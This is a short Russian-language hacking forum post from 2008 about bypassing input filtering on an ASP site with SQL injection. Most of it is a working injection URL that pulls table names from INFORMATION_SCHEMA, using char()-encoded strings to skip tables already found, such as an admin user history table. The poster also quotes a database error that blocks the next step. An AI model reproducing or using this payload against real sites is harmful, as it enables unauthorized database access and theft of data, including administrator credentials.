10.04.2008, 00:23
|
|
Постоянный
Регистрация: 20.12.2007
Сообщений: 334
Провел на форуме:
1934122
Репутация:
118
|
|
Обход фильтрации, работает только на первой таблице, а на второй выводит следующию ошибку:
ADODB.Command error '800a0d5d'
Application uses a value of the wrong type for the current operation.
/includes/logonManager.asp, line 370
Код:
http://site.com/conference.asp?id=1+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(char(108)%2Bchar(105)%2Bchar(110)%2Bchar(107)%2Bchar(95)%2Bchar(99)%2Bchar(97)%2Bchar(116)%2Bchar(101)%2Bchar(103)%2Bchar(111)%2Bchar(114)%2Bchar(105)%2Bchar(101)%2Bchar(115),char(97)%2Bchar(100)%2Bchar(109)%2Bchar(105)%2Bchar(110)%2Bchar(117)%2Bchar(115)%2Bchar(101)%2Bchar(114)%2Bchar(95)%2Bchar(104)%2Bchar(105)%2Bchar(115)%2Bchar(116)%2Bchar(111)%2Bchar(114)%2Bchar(121))--
|
|
|